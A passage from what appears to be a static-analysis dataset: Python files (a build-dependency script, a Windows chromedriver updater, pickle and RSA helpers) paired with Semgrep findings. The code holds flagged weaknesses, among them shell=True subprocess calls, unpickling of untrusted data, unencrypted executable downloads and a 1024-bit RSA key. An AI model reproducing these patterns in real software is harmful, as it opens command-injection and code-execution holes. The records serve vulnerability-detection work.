"NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 28 ]
[ 28 ]
[ 1 ]
[ 29 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
common.py
/rgedt/common.py
iCodeIN/RgEdt
MIT
2024-11-18T20:23:41.133048+00:00
1,626,971,106,000
e6b8aa3db293e46d031cc9dba148e44855e62133
2
{ "blob_id": "e6b8aa3db293e46d031cc9dba148e44855e62133", "branch_name": "refs/heads/main", "committer_date": 1626971106000, "content_id": "c4e35d0568d412ee0973197494e60b17e7aa1939", "detected_licenses": [ "MIT" ], "directory_id": "a7ae704a6fc0d3931a06be5b81222bdce989b001", "extension": "py", "filename": "bsvDeps.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 378665537, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2143, "license": "MIT", "license_type": "permissive", "path": "/hw/bsv_nw_lib/BSVTools/scripts/bsvDeps.py", "provenance": "stack-edu-0054.json.gz:587896", "repo_name": "mhrtmnn/NetworkBenchmarkPEs", "revision_date": 1626971106000, "revision_id": "7eb06c8eaa7819251348bcb2c0e375565440cd9b", "snapshot_id": "0fae54b950e33d6d6c5ca481b23a8465b5b8e56c", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/mhrtmnn/NetworkBenchmarkPEs/7eb06c8eaa7819251348bcb2c0e375565440cd9b/hw/bsv_nw_lib/BSVTools/scripts/bsvDeps.py", "visit_date": "2023-06-20T18:08:35.278029" }
2.484375
stackv2
#!/usr/bin/python3 import sys import glob import os import re def main(): directory = sys.argv[1] builddir = sys.argv[2] extra_module = "" if(len(sys.argv) > 3): extra_module = sys.argv[3] projectModules = {} for filename in glob.glob(os.path.join(directory, '*.bsv')): m = re.match(".*/(.*).bsv", filename) modName = m.group(1).strip() projectModules[modName] = [] with open(filename, "r") as f: for line in f: if line.strip().startswith("import"): m = re.match("import(.*)::", line.strip()) if m: mod = m.group(1).strip() if mod == "`RUN_TEST": mod = extra_module projectModules[modName].append(mod) # Remove duplicates for module, deps in projectModules.items(): projectModules[module] = list(set(deps)) # Remove non project Dependencies for module, deps in projectModules.items(): old = list(deps) for dep in old: if not dep in projectModules: deps.remove(dep) # Create List of modules for dependency resolution for m, d in projectModules.items(): print("{}/{}.bo: {}/{}.bsv {}".format(builddir, m, directory, m, " ".join(map(lambda x : "{}/{}.bo".format(builddir, x), d)))) depList = [] # Produce dependency list while len(projectModules.keys()) > 0: # Look for Module without dependency found = False for m, d in projectModules.items(): if not d: found = True depList.append(m) del projectModules[m] for _, d in projectModules.items(): if m in d: d.remove(m) break if not found: print("Loop detected") break depListFull = [] for d in depList: d = builddir + "/" + d + ".bo" depListFull.append(d) t = "OBJS=" + " ".join(depListFull) print(t) if __name__ == '__main__': main()
69
30.07
134
20
503
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_82d8665772141337_32befff5", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 14, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/82d8665772141337.py", "start": {"line": 19, "col": 14, "offset": 437}, "end": {"line": 19, "col": 33, "offset": 456}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.dict-del-while-iterate_82d8665772141337_acbc09b9", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.dict-del-while-iterate", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "It appears that `projectModules[m]` is a dict with items being deleted while in a for loop. This is usually a bad idea and will likely lead to a RuntimeError: dictionary changed size during iteration", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 57, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/stdtypes.html#dictionary-view-objects", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.dict-del-while-iterate", "path": "/tmp/tmp10dxl77l/82d8665772141337.py", "start": {"line": 49, "col": 9, "offset": 1565}, "end": {"line": 57, "col": 22, "offset": 1864}, "extra": {"message": "It appears that `projectModules[m]` is a dict with items being deleted while in a for loop. This is usually a bad idea and will likely lead to a RuntimeError: dictionary changed size during iteration", "metadata": {"references": ["https://docs.python.org/3/library/stdtypes.html#dictionary-view-objects"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "" ]
[ "rules.python.lang.correctness.dict-del-while-iterate" ]
[ "correctness" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 49 ]
[ 57 ]
[ 9 ]
[ 22 ]
[ "" ]
[ "It appears that `projectModules[m]` is a dict with items being deleted while in a for loop. This is usually a bad idea and will likely lead to a RuntimeError: dictionary changed size during iteration" ]
[ 5 ]
[ "" ]
[ "" ]
bsvDeps.py
/hw/bsv_nw_lib/BSVTools/scripts/bsvDeps.py
mhrtmnn/NetworkBenchmarkPEs
MIT
2024-11-18T21:22:12.254067+00:00
1,654,517,257,000
8d296f293b5ca1d1c1f64bc8422f047065032982
3
{ "blob_id": "8d296f293b5ca1d1c1f64bc8422f047065032982", "branch_name": "refs/heads/main", "committer_date": 1654517257000, "content_id": "72cbca3de55e3417b52c493bf22eab1d327b042c", "detected_licenses": [ "MIT" ], "directory_id": "641aaa021b3841adcca8728ae93f6785db57d29d", "extension": "py", "filename": "getchromedriver.py", "fork_events_count": 0, "gha_created_at": 1621425541000, "gha_event_created_at": 1692092571000, "gha_language": null, "gha_license_id": "MIT", "github_id": 368853391, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3604, "license": "MIT", "license_type": "permissive", "path": "/utils/getchromedriver.py", "provenance": "stack-edu-0054.json.gz:587907", "repo_name": "sportfy/JDMemberCloseAccount", "revision_date": 1654517257000, "revision_id": "1661085d3c8bccf228569ccbf87dabd7581380d6", "snapshot_id": "0054e4f83fc3a621b10b9f6758f695c765d2698b", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/sportfy/JDMemberCloseAccount/1661085d3c8bccf228569ccbf87dabd7581380d6/utils/getchromedriver.py", "visit_date": "2023-08-17T12:42:33.898250" }
2.625
stackv2
import os import subprocess import zipfile import winreg import re import requests import logging chromedriverpath = '' def excuteCommand(com): ex = subprocess.Popen(com, stdout=subprocess.PIPE, shell=True) out, err = ex.communicate() status = ex.wait() print("cmd in:", com) print("cmd out: ", out.decode()) return out.decode() def download(link, file_name): response = requests.get(link) file = response.content with open(file_name, 'wb') as f: f.write(file) def unzip(zip_file, filepath): extracting = zipfile.ZipFile(zip_file) extracting.extractall(filepath) extracting.close() os.remove(zip_file) def re_all(rule, body): rule_all = re.findall(re.compile(r'%s' % (rule)), body) if len(rule_all) > 0: return rule_all else: return False def get_chromedriver_list(): '''获取驱动列表''' url = 'http://npm.taobao.org/mirrors/chromedriver/' r = requests.get(url).text return re_all(r'/mirrors/chromedriver/([0-9]+\.[0-9]+.[0-9]+.[0-9]+)/', r) def get_chromedriver(version): global chromedriverpath '''下载驱动''' link = 'http://npm.taobao.org/mirrors/chromedriver/%s/chromedriver_win32.zip' % version if os.path.exists(chromedriverpath): os.remove(chromedriverpath) download(link, chromedriverpath + '.zip') outdir = os.path.dirname(chromedriverpath) unzip(chromedriverpath + '.zip', outdir) return True def get_chrome_version(): key = False if not key: # 64位 try: key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome") except: pass if not key: # 32位 try: key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome") except: pass if not key: return False version = winreg.QueryValueEx(key, "version")[0] return version def get_driver_version(): global chromedriverpath info = excuteCommand(chromedriverpath + ' --version') if info: return info.split(' ')[1] return False def check_driver_version(driverpath): global chromedriverpath chromedriverpath = driverpath print('获取 chromedriver 版本') if not os.path.exists(chromedriverpath): print('没有找到 chromedriver.exe') driver_version = '无' else: driver_version = get_driver_version() driver_version = driver_version[:driver_version.rfind(".")] chrome_version = get_chrome_version() if not chrome_version: print('没有按照chrome') return False chrome_version = chrome_version[:chrome_version.rfind(".")] if driver_version != chrome_version: print('浏览器(%s)和驱动版本(%s)不匹配' % (chrome_version, driver_version)) version_list = get_chromedriver_list() if not version_list: print('获取驱动列表失败') return False for version in version_list: if chrome_version in version: if not get_chromedriver(version): print('下载驱动失败') return False else: print('驱动更新成功') return True print('没有找到对应的驱动版本') return False else: print('版本匹配通过') return True
125
26.67
114
17
831
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_cbb80ad83f54b72e_ba4622e9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 10, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/cbb80ad83f54b72e.py", "start": {"line": 14, "col": 10, "offset": 157}, "end": {"line": 14, "col": 67, "offset": 214}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_cbb80ad83f54b72e_b75954e9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 62, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/cbb80ad83f54b72e.py", "start": {"line": 14, "col": 62, "offset": 209}, "end": {"line": 14, "col": 66, "offset": 213}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_cbb80ad83f54b72e_00b43b6d", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 16, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/cbb80ad83f54b72e.py", "start": {"line": 22, "col": 16, "offset": 404}, "end": {"line": 22, "col": 34, "offset": 422}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_cbb80ad83f54b72e_1c4da1f1", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(link, timeout=30)", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 16, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/cbb80ad83f54b72e.py", "start": {"line": 22, "col": 16, "offset": 404}, "end": {"line": 22, "col": 34, "offset": 422}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(link, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_cbb80ad83f54b72e_6b240552", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 9, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/cbb80ad83f54b72e.py", "start": {"line": 46, "col": 9, "offset": 960}, "end": {"line": 46, "col": 26, "offset": 977}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_cbb80ad83f54b72e_77f8d776", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(url, timeout=30)", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 9, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/cbb80ad83f54b72e.py", "start": {"line": 46, "col": 9, "offset": 960}, "end": {"line": 46, "col": 26, "offset": 977}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(url, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.insecure-transport.requests.request-with-http_cbb80ad83f54b72e_3cb25bf0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.insecure-transport.requests.request-with-http", "finding_type": "security", "severity": "low", "confidence": "medium", "message": "Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 46, "line_end": 46, "column_start": 22, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-319: Cleartext Transmission of Sensitive Information", "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://owasp.org/Top10/A02_2021-Cryptographic_Failures", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.insecure-transport.requests.request-with-http", "path": "/tmp/tmp10dxl77l/cbb80ad83f54b72e.py", "start": {"line": 46, "col": 22, "offset": 973}, "end": {"line": 46, "col": 25, "offset": 976}, "extra": {"message": "Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.", "metadata": {"owasp": ["A03:2017 - Sensitive Data Exposure", "A02:2021 - Cryptographic Failures", "A04:2025 - Cryptographic Failures"], "cwe": ["CWE-319: Cleartext Transmission of Sensitive Information"], "asvs": {"control_id": "9.1.1 Weak TLS", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x17-V9-Communications.md#v92-server-communications-security-requirements", "section": "V9 Communications Verification Requirements", "version": "4"}, "category": "security", "technology": ["requests"], "references": ["https://owasp.org/Top10/A02_2021-Cryptographic_Failures"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
7
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 14, 14 ]
[ 14, 14 ]
[ 10, 62 ]
[ 67, 66 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functi...
[ 7.5, 7.5 ]
[ "LOW", "HIGH" ]
[ "HIGH", "LOW" ]
getchromedriver.py
/utils/getchromedriver.py
sportfy/JDMemberCloseAccount
MIT
2024-11-18T21:22:12.327109+00:00
1,575,382,349,000
e1ca9e04bfa683b30435d8f4e67593b96c572ee1
3
{ "blob_id": "e1ca9e04bfa683b30435d8f4e67593b96c572ee1", "branch_name": "refs/heads/master", "committer_date": 1575382349000, "content_id": "f72c86f6141b9e5ce714030b5766cf7cff25194c", "detected_licenses": [ "MIT" ], "directory_id": "c5b68f8d9939ec0eafa5a54e4aa724d90675bcd2", "extension": "py", "filename": "isolated_functions.py", "fork_events_count": 0, "gha_created_at": 1555772633000, "gha_event_created_at": 1562492380000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 182419747, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1327, "license": "MIT", "license_type": "permissive", "path": "/isolated_functions.py", "provenance": "stack-edu-0054.json.gz:587908", "repo_name": "wonabru/chainnet", "revision_date": 1575382349000, "revision_id": "f8ec1e2b580af837cba3322ffe69b95156b1b9a1", "snapshot_id": "d5384ee0145fad0177d1792efb4993872eaf2f15", "src_encoding": "UTF-8", "star_events_count": 5, "url": "https://raw.githubusercontent.com/wonabru/chainnet/f8ec1e2b580af837cba3322ffe69b95156b1b9a1/isolated_functions.py", "visit_date": "2020-05-15T18:13:07.797732" }
2.75
stackv2
import ast import re import pickle from Crypto.PublicKey import RSA from base64 import b64decode,b64encode from tkinter import messagebox def str2obj(s): return ast.literal_eval(s.replace('true', 'True').replace('false', 'False')) def trim_name(name): return name.replace('@','').replace('#','') def remove_special_char(in_seq): """ Function is responsible for normalize strings to defined format (UPPERCASE with '_' replacing any special character) :param in_seq: list of strings :return: list of strings """ _sub = re.sub(" {1,5}", "_", in_seq.strip()).lower() _chars = ['*', '\\', '&', '/', '+'] for x in _chars: _sub = _sub.replace(x, '_') return _sub class CFinish: finish = False def serialize(message): return pickle.dumps(message) def unserialize(ser_message): return pickle.loads(ser_message) def encode(n): b = bytearray() while n: b.append(n & 0xFF) n >>= 8 return b64encode(b).decode('utf-8') def decode(s): b = bytearray(b64decode(s.encode('utf-8'))) # in case you're passing in a bytes/str return sum((1 << (bi * 8)) * bb for (bi, bb) in enumerate(b)) class rsa_temp: key = RSA.generate(1024) def showError(ex): if len(ex.args) > 1: _title, _err = ex.args else: _title, _err = 'Other error', ex.args messagebox.showerror(title=str(_title), message=str(_err))
63
20.08
117
13
365
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b037bf6385f21e80_b4f87dcb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/b037bf6385f21e80.py", "start": {"line": 34, "col": 9, "offset": 743}, "end": {"line": 34, "col": 30, "offset": 764}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_b037bf6385f21e80_3f2ac466", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 9, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/b037bf6385f21e80.py", "start": {"line": 38, "col": 9, "offset": 805}, "end": {"line": 38, "col": 34, "offset": 830}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", 